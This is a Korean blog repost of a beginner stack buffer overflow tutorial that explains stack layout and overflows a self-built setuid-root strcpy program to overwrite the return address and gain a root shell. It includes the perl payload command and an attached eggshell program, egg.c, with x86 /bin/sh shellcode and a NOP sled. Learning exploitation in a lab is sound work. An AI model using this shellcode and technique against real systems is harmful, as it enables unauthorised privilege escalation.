해커스쿨 도서관에서 얻은 문서인데 Beist님이 작성하신 문서입니다. 몇 개를 골라서 보긴 봤는데
의외로 초보자를 위해 잘 작성된 문서같아 한번 올려봅니다.
링크 - http://www.hackerschool.org/HS_Boards/data/Lib_system/beist.txt
제목 : bof 강좌문서 (초보자용)
사진 설명 :
/*
이승진 http://beist.org
beist@hanmail.net
*/
안녕하세요.
이 문서는 초보자를 위한 bof 강좌입니다. 많은 분들이 bof 를 겁내하시더군요.
저도 처음 배울때는 '버퍼가 꽉차고 리턴 어드레스를 덮어씌워서 어찌저찌하는
거겠지' 뭐 이 정도만 이해를 하고 정확한 이해는 하지 못했습니다.
지금도 bof 를 정확히 모르지만 처음 배우시는 분들을 위해서 가능한 쉽게
설명을 하도록 하겠습니다.
1. bof 는 무엇인가?
2. 메모리 의 구조
3. bof 는 어떻게?
4. 공격해보기
5. bof 공부하기
1. bof 는 무엇인가?
buffer overflow 를 말합니다. buffer 의 의미는 프로그램 상에서 어떤
데이터를 담는 부분이라고 보면 됩니다. 이때 데이터는 사용자로부터의
입력일수도 있고 변수 선언같은 일수도 있습니다.
overflow 는 넘치다라는 뜻이죠. buffer 의 부분을 한계치 이상까지 채워서
일어나는 어떤 일이 있는데 그걸 이용해서 특정 권한을 얻는 것을 보고
bof 라고 합니다. 정확히 말하면 buffer overflow attack 이라고 합니다.
그럼 어떤 형태로 공격이 되는지 간단히 설명을 하겠습니다.
승진과 TTL 광고모델 임은경이 있습니다. 승진과 은경은 서로 사귀는
사이입니다. 승진은 바람끼가 많은 남자아이입니다. 은경과 사귀면서
다른 여자들과 연락을 하다가 은경에게 걸린적이 한두번이 아니었습니다.
은경은 처음엔 그러려니 하며 넘어가다 한번, 두번, 세번, 네번......
참다가 열번째에 승진의 바람끼에 드디어 폭발을 하였습니다. 은경이
화를 내며 승진이와 헤어지자고 말을 하였습니다. 승진은 포기하지않고
은경의 집앞에서 은경을 만나 다이아몬드 반지를 선물하였습니다. 은경은
승진의 선물을 받고 그동안 쌓였던 분을 풀고 둘은 다시 사이좋은 애인
사이로 돌아가게 되었습니다.
/* 위 이야기는 픽션입니다. */
히히 뭐 그냥 재미로 써본 글입니다. 하지만 실제로 bof 는 위와 비슷하게
이루어집니다.
#include <stdio.h>
#include <stdlib.h>
main()
{
char buffer[10];
fgets(buffer, 500, stdin);
}
위 소스에는 문제점이 있습니다. 먼저 데이터를 담기위해서 선언된 buffer
의 크기는 10 바이트입니다. 그리고 fgets 함수를 이용해 사용자로부터
데이터를 입력받고 그것을 buffer 에 저장합니다. 하지만 최대 500 바이트
만큼의 입력이 가능하게 되어있습니다. buffer 의 크기는 10 인데 저장되는
사이즈가 그 이상이면 프로그램은 overflow 를 일으키고 종료됩니다.
비유를 하자면 승진이 바람을 피는 행동은 버퍼를 계속 쌓이게 한 것이고
은경이 승진의 바람끼에 참지 못하고 폭발한 것을 overflow 라고 합니다.
이때 승진이 은경에게 다이아몬드를 선물로 사준것을 해커가 특정 커맨드를
입력한 것이라고 볼수 있습니다. 예를 들면 쉘코드를 지정한다던지
그런 것들 말이죠. 승진은 다이아몬드를 선물함으로써 은경과 헤어지지 않고
(프로그램이 세그먼트 폴트로 끝나지 않고) 계속 사귈수 (쉘코드를 실행시켜
루트쉘을 얻었음) 있었던 것이죠. 히히 넘 웃기네 어쨌든 대충 이해가나요?
이상이 buffer overflow attack 의 개요였습니다.
2. 메모리 의 구조
먼저 우리가 사용하는 리눅스 시스템의 메모리 구조에 대해서 알아봅시다.
heap 영역도 있지만 그것은 생략하겠습니다.
그림 1.
----- 메모리의 낮은 주소
text
-----
data
----- 스택의 높은 주소
stack
----- 메모리의 높은 주소 스택의 낮은 주소
aleph one (프랙 49-14) 의 문서를 보면 대충 설명이 되어있지만 초보자들은
봐도 '뭐여' 이러고 마는 부분이죠. 여기서도 그냥 넘어가겠습니다. 이 문서는
bof 에 대해서 정확히 이해하는 것이 핵심이니까요.
stack 의 개념은 이렇습니다.
가장 나중에 들어온 것이, 가장 먼저 나간다.
다른 사람의 표현을 빌려서 말하자면 택시기사들이 사용하는 동전통있죠?
동전을 하나하나 쌓고, 손님에게 동전을 거슬러 줄때 가장 위에 있는 것을
빼서 주죠? 가장 위에 있는 것은 가장 마지막에 넣은 거겠죠? 네.. 바로
스택이 이런 개념입니다. 그리고 스택은 메모리의 높은 영역에서 낮은
영역으로 쌓아져 갑니다.
그럼 도대체 뭘 이렇게 처리하는거냐구요?
예를 들자면
#include <stdio.h>
#include <stdlib.h>
main()
{
int a=5, b=4, c=3;
char msg1[]="beist", msg2[]="ttl";
}
위 소스는 아무런 기능도 하지 않습니다. 그냥 변수를 선언하고 정의를
해주었습니다.
위에서 각 변수가 들어가는 값을 스택 구조에 따라 표현을 해보겠습니다.
그런데 스택은 낮은 메모리 주소로 뻗는다고 그랬죠? 그림 1 에서 보면
메모리의 높은 주소는 스택상에서는 낮은쪽이고 메모리의 낮은 주소는
스택상에서 높은 주소 방향입니다.
-------------------------------------------------------------------
메모리 낮은 주소 메모리 높은 주소
100 104 112 116 120
msg2[]= msg1 c b a
스택의 높은 주소 스택의 낮은 주소
-------------------------------------------------------------------
100, 108, 112, 116, 120 은 가상으로 만들어낸 주소입니다. msg1 은
beist\0 으로 (c 언어에서 문자열의 마지막은 null 이란것 아니죠?)
6 바이트, msg1 은 ttl\0 으로 4 바이트이고 int 의 크기는 4 바이트
입니다.
그런데 왜 msg2 이 6 바이트인데 c 하고 사이가 104~112, 8 바이트
냐구요? 그 이유는 이렇습니다. 메모리는 워드 크기의 배수만큼만 지정이
가능합니다. 한 워드가 4 바이트입니다. 메모리를 처리할때 6 바이트라고
해서 워드 + 2 만 하여 6 바이트로 할 수가 없습니다. 그래서 워드
두개를 할당하여 msg1 을 처리하게 되는데요. 그러면 8 바이트가 되겠죠?
위에 소스에서 보시다시피 가장 먼저 한 선언은 a=5 인데 메모리 주소상
으로는 가장 높은 위치에 할당이 되어있죠? (120) 그리고 msg2 는 100에
할당되어 있고요. 이런 식으로 스택은 메모리의 낮은 주소쪽으로 향해서
자랍니다.
3. bof 는 어떻게?
bof 를 하기 위한 기초적인 지식을 익혔다면 이제는 실제로 어떻게 bof
attack 을 하는지 알아보겠습니다.
void test(char *bad)
{
char buffer[16];
strcpy(buffer, bad);
}
void main(int argc, char *argv[])
{
printf("hi~");
test(argv[1]);
return 0;
}
문제가 있는 소스죠? argv[1] (프로그램 실행시 인자) 을 test 의
인수로 넘기고 buffer[16] 에 bad 를 카피합니다. strcpy 함수는 경계검사
(문자열의 길이) 를 하지 않는 함수입니다.
위 프로그램의 메모리 구조가 어떻게 되어있을까요.
-------------------------------------------------------------------
메모리 낮은 주소 메모리 높은 주소
strcpy buffer[16] sfp ret bad
스택의 높은 주소 스택의 낮은 주소
-------------------------------------------------------------------
ret 와 sfp 는 각각 리턴어드레스와 스택 베이스 값을 뜻합니다.
ret 가 필요한 이유?
프로그램의 진행
main -> printf -> test -> return 0;
main 에서 printf 함수를 이용해 hi~ 를 출력하고, test 함수를 불러들입니다.
test 함수가 불러들이고 난 후에는 return 을 실행해야 합니다. 실행하려면
return 이 담긴 코드 주소로 돌아와야하는데 return 0 이 담긴 코드 주소가
바로 ret 값입니다. 모든 함수는 ret 값을 가지고 있습니다. ret 값을
이용하여 다음에 실행할 적절한 코드 주소값으로 가는 것이죠.
sfp 가 필요한 이유?
sfp 는 스택 주소값을 계산을 할때 현재 스택값의 바닥, 즉 기준을 잡을때
필요한 프레임 포인터 값을 저장하는 곳입니다. 이 문서에서는 깊이 설명을
하지 않겠습니다.
먼저 test 의 인자 (bad) 를 메모리에 넣고, return 0 으로 가기 위한 ret
주소값을 넣습니다. 그 다음 sfp 를 넣고, test 함수의 buffer 배열을 넣고
strcpy 불러들입니다.
우리가 해야 할일은 return 0 의 코드 주소가 담긴 ret 을 우리가 실행하길
원하는 코드의 주소값으로 바꾸어야합니다. 이것이 바로 bof attack!
이때 우리가 실행하는 명령들은 뭐 쉘을 실행, xterm 실행, 특정명령어 실행
등등등~ 여러가지 일을 할 수가 있습니다.
우리는 일반 계정이고, root 의 권한을 얻길 원합니다.
만약 root 권한으로 suid 가 걸린 bof 에 취약한 어떤 프로그램을 이용하여
쉘을 띄운다면 그 쉘은 root 의 권한으로 띄워질 것입니다. suid 가 걸리지
않은 bof attack 에 취약한 프로그램은 공격에 성공하여도 아무런 효과가
없습니다.
이렇듯 bof attack 을 하기 위해서는 프로그램에 suid 가 걸려있어야 하지만
만약 일반 계정도 없는 리모트 상황일 시에는 bof 에 취약한 cgi 프로그램등을
공격하여 쉘을 딸 수도 있습니다.
4. 공격 해보기
그러면 이제 실질적인 공격 방법에 대해서 알아보겠습니다. 아래와 같은 bof에
취약한 프로그램이 존재한다고 합시다.
- vul.c
void test(char *bad)
{
char buffer[16];
strcpy(buffer, bad);
}
void main(int argc, char *argv[])
{
printf("hi~");
test(argv[1]);
return 0;
}
# gcc -o vul vul.c
# chmod 6755 vul
vul 프로그램의 메모리 구조
-------------------------------------------------------------------
메모리 낮은 주소 메모리 높은 주소
strcpy buffer[16] sfp ret bad
스택의 높은 주소 스택의 낮은 주소
-------------------------------------------------------------------
bof attack 이 무엇이죠? ret 어드레스를 바꾼후 우리가 원하는 명령을 실행하는
것입니다. 우리는 인자를 buffer 보다 크게 준후에 sfp, ret 값을 덮어씌워야
합니다.
어떻게 바꿔야 하는지 알아봅시다. 우리는 argv[1] 즉 프로그램 실행시 인자의
값을 이용하여 buffer[16] 에 카피하게 됩니다. buffer[16] 을 채우고 sfp 를
채우고 ret 값까지가서 그 값을 변조시켜야 합니다.
sfp 와 ret 값은 4 바이트입니다. 그렇다면 buffer[16] + sfp = 20 바이트이죠.
20 바이트는 아무런 값으로 채운 다음에 ret 값을 변조시키면 됩니다.
변조된 ret 값에는 무엇이 들어가야 할까요? term 을 띄우거나 특정명령어를
실행할수 있지만 여기서는 쉘을 실행시켜보겠습니다. 대부분의 bof 강좌 문서
에서는 buffer 값에 쉘을 실행시킬 수 있는 쉘코드를 넣고, ret 값을 buffer
로 지정하여 쉘코드를 실행하는 방법을 사용하지만 여기서는 간단하게 egg 를
띄우고 egg 가 띄운 쉘 주소로 ret 가 향하게 해보겠습니다.
eggshell 이란 쉘을 띄워주는 프로그램으로 우리가 ret 값을 eggshell 가 만든
쉘의 주소로 지정하여둔다면 굳이 buffer 에 쉘코드를 입력하지 않고도 쉘을
얻을 수가 있습니다.
$ ./vul aaaaaaaaaaaaaaa
$ ./vul aaaaaaaaaaaaaaaa
세그먼트 폴트
(a 15, 16 개를 입력하였습니다.)
역시 15 개 일때는 아무런 일도 생기지 않지만 (프로그램 내에서는 정상적으로
strcpy 를 실행한후에 종료를 하겠죠) 16 개 일때는 sfp 영역 한바이트를 침범
했으므로 세그먼트 폴트가 일어나게 됩니다. (15, 16 에 각각 1 을 더해서 16,
17 이 됩니다. 왜냐하면 문자열의 끝을 나타내는 진행문자가 문자열의 끝에
포함이 되어있기때문이죠. 이것의 크기는 1 바이트입니다.)
우리는 인자로 다음과 같이 입력해야 합니다.
aaaaaaaaaaaaaaaabbbbcccc
a = 버퍼에 채워질 값 (16 바이트)
b = sfp 에 채워질 값 (4 바이트)
c = ret 에 채워질 값 (4 바이트)
먼저 egg 를 띄워봅시다.
$ gcc -o egg egg.c
$ ./egg
using address : 0xffffff41
쉘이 띄워진 주소가 0xffffff41 으로 나와있네요. c 의 값을 쉘이 띄워진 주소
값으로 채워 넣어서 ret 값을 변조시켜야 합니다.
0xffffff41 같은 쉘주소를 입력할때는 일반 출력으로는 안되고 printf 나
perl 을 이용하여서 출력하여야 합니다. 여기서는 편한 입력을 위하여 perl을
이용하여 출력을 해보겠습니다.
$ perl -e 'system "./vul", "aaaaaaaaaaaaaaaabbbb\xff\xff\xff\x41"'
$
윽 이럴수가.. 맞게 입력한것 같은데 왜 루트쉘이 안 뜨지? 이유는 스택 처리
과정에 있습니다. 스택은 높은주소부터 꺼내게 되는데 위와 같이 입력하면
꺼낼때 \x41\xff\xff\xff 로 되겠죠? 그래서 꺼낼때 올바르게 표기되려면
그 반대로 입력해야합니다.
위와 같이 입력하였을때 메모리 형태는 다음과 같이 됩니다.
주소 0 1 2 3 ...................
strcpy 메모리의 낮은 주소
buffer [aaaaaaaaaaaaaaaa] 16 바이트
sfp [bbbb] 4 바이트
ret [ffffff41]
bad 메모리의 높은 주소
$ perl -e 'system "./vul", "aaaaaaaaaaaaaaaabbbb\x41\xff\xff\xff"'
# id
root
위와 같이 입력하였을때 메모리 형태는 다음과 같이 됩니다.
주소 0 1 2 3 ...................
strcpy 메모리의 낮은 주소
buffer [aaaaaaaaaaaaaaaa] 16 바이트
sfp [bbbb] 4 바이트
ret [41ffffff]
bad 메모리의 높은 주소
이러면 나중에 쌓인 주소부터 pop 하게 되니까 ffffff41 이렇게 되겠죠?
오예~ 잘됐다. 이런 식입니다. 대충 bof 에 관해서 감이 잡히셨나요?
5. bof 공부하기
위의 글들을 이해하셨다면 이제 본격적인 bof 공부를 하셔야 합니다. 위의
내용은 간단한 원리에 대해서 설명해놓은것에 불과합니다. 어셈블리어 같은
것을 공부하여서 기본을 탄탄히 하셔야 합니다.
각 번지의 차이가 왜 몇바이트가 나는지, 저 옵퍼코드말고 다른 것으로 좀더
효율적으로 할순 없을지, 이런 생각들을 하면서 bof 를 공부하셔야 합니다.
저 같은 경우에는 컴퓨터에 실제로 bof 에 취약한 프로그램을 만들어 놓고
그걸 깨는 연습을 하고 있습니다. bof 를 공부하시면서 질문은 제 게시판에
올려주시면 됩니다. 실제로 많은 사람들이 bof 에 대해서 많은 이해를 하고
있지 않기 때문에 irc 에서 물어도 올바른 대답을 얻기가 힘듭니다.
물론 저도 많은 이해를 못하고 있습니다. 게시판에 질문이 올라온다면
공부를 하고 답변을 드려야하죠. 히히
이 문서는 bof 에 대해서 잘 모르는 초보자를 위해서 만들어진 문서로
심도있는 내용을 다루진 못했습니다.
마지막으로 할 말
'이 문서의 저작권은 저에게 있지만 그냥 맘대로 쓰셔도 됩니다.'
'항상 도움을 주시는 wowhacker.org 에 감사드립니다.'
'다른 bof 문서들과 같이 알렙원 문서베끼기가 되어버렸네요 하하'
'이 문서에 틀린 점이 있다면 메일 주시기 바랍니다.'
beist@hanmail.net
파일첨부
egg.c
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
"\x00\xc9\xc3\x90/bin/sh"; /* linux x82 */
unsigned long get_esp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[])
{
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize)))
{
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize)))
{
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
'스터디 > system' 카테고리의 다른 글
[IDA-Analysis] Binary Wargames Level1 (0) | 2011.08.17 |
---|---|
메모리 기본 구조 STACK_EBP (0) | 2011.08.15 |
[리눅스갤] 공유(동적)라이브러리 와 정적라이브러리 (3) | 2011.03.20 |
[리눅스갤] 리눅스에서 라이브러리 만들기 (0) | 2011.03.20 |
달고나님의 버퍼 오버플로우(Buffer Overflow) 초보자용 문서 (0) | 2010.12.24 |